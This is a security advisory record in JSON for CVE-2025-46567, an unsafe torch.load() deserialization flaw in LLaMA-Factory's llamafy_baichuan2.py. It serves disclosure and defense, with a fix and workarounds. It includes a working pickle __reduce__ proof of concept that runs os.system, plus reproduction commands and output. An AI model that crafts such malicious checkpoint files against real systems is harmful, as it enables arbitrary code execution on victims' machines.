CVE-2025-46567: Llamafactory LLaMA-Factory Allows Arbitrary Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f2f7-gj54-6vpv",
  "modified" : "2025-06-28T00:04:00Z",
  "published" : "2025-04-23T22:21:13Z",
  "aliases" : [ "CVE-2025-46567" ],
  "summary" : "LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py",
  "details" : "### Description\n\nA critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.\n\n### Attack Vector\n\nThis vulnerability is **exploitable without authentication or privileges** when a user is tricked into:\n\n1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).\n2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.\n\nNo elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. \n\n### Impact\n\n- Arbitrary command execution (RCE)\n- System compromise\n- Persistence or lateral movement in shared compute environments\n\n\n### Proof of Concept (PoC)\n\n```python\n# malicious_payload.py\nimport torch, pickle, os\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, (\"mkdir HACKED!\",))  # Arbitrary command\n\nmalicious_data = {\n    \"v_head.summary.weight\": MaliciousPayload(),\n    \"v_head.summary.bias\": torch.randn(10)\n}\n\nwith open(\"value_head.bin\", \"wb\") as f:\n    pickle.dump(malicious_data, f)\n```\n\nAn example of `config.json`:\n\n```json\n{\n  \"model\": \"value_head.bin\",\n  \"hidden_size\": 4096,\n  \"num_attention_heads\": 32,\n  \"num_hidden_layers\": 24,\n  \"initializer_range\": 0.02,\n  \"intermediate_size\": 11008,\n  \"max_position_embeddings\": 4096,\n  \"kv_channels\": 128,\n  \"layer_norm_epsilon\": 1e-5,\n  \"tie_word_embeddings\": false,\n  \"vocab_size\": 151936\n}\n```\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree\n.\n`-- LLaMA-Factory\n    |-- LICENSE\n    |-- README.md\n    |-- malicious_folder\n    |   |-- config.json\n    |   `-- value_head.bin\n    `-- xxxxx(Irrelevant documents omitted)\n```\n\n\n```bash\n# Reproduction\npython scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n```\n\n➡️ Running this will execute the malicious payload and create a `HACKED!` folder.\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\nCITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nE0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\nE0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.\nTo enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.\nLoad weights:  50%|██████████████████████████████████████████████████████████████████████████████████▌                                                                                  | 1/2 [00:00<00:00, 123.70it/s]\nTraceback (most recent call last):\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 112, in <module>\n    fire.Fire(llamafy_baichuan2)\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 135, in Fire\n    component_trace = _Fire(component, args, parsed_flag_args, context, name)\n                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 468, in _Fire\n    component, remaining_args = _CallAndUpdateTrace(\n                                ^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 684, in _CallAndUpdateTrace\n    component = fn(*varargs, **kwargs)\n                ^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 107, in llamafy_baichuan2\n    save_weight(input_dir, output_dir, shard_size, save_safetensors)\n  File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 35, in save_weight\n    shard_weight = torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")\n                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1040, in load\n    return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1260, in _legacy_load\n    raise RuntimeError(\"Invalid magic number; corrupt file?\")\nRuntimeError: Invalid magic number; corrupt file?\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\n CITATION.cff   LICENSE       Makefile    README_zh.md   data     evaluation   malicious_folder   pyproject.toml     scripts    src\n'HACKED!'       MANIFEST.in   README.md   assets         docker   examples     out                requirements.txt   setup.py   tests\n```\n\n### Affected File(s)\n\n- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35\n- `scripts/convert_ckpt/llamafy_baichuan2.py`\n- Line: `torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")`\n\n### Suggested Fix\n\n- Replace `torch.load()` with safer alternatives like `safetensors`.\n- Validate and whitelist file types before deserialization.\n- Require checksum validation.\n\nExample patch:\n\n```python\n# Replace torch.load() with safe deserialization\ntry:\n    from safetensors.torch import load_file\n    tensor_data = load_file(filepath)\nexcept Exception:\n    print(\"Invalid or unsafe checkpoint file.\")\n    return\n```\n\n### Workarounds\n\n- Avoid running the script with untrusted `.bin` files.\n- Use containers or VMs to isolate script execution.\n\n### References\n\n- [torch.load() — PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html)\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n### Credits\n\nDiscovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "llamafactory"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-f2f7-gj54-6vpv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-46567"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/hiyouga/LLaMA-Factory/commit/2989d39239d2f46e584c1e1180ba46b9768afb2a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/hiyouga/LLaMA-Factory"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-23T22:21:13Z",
    "nvd_published_at" : "2025-05-01T18:15:58Z"
  }
}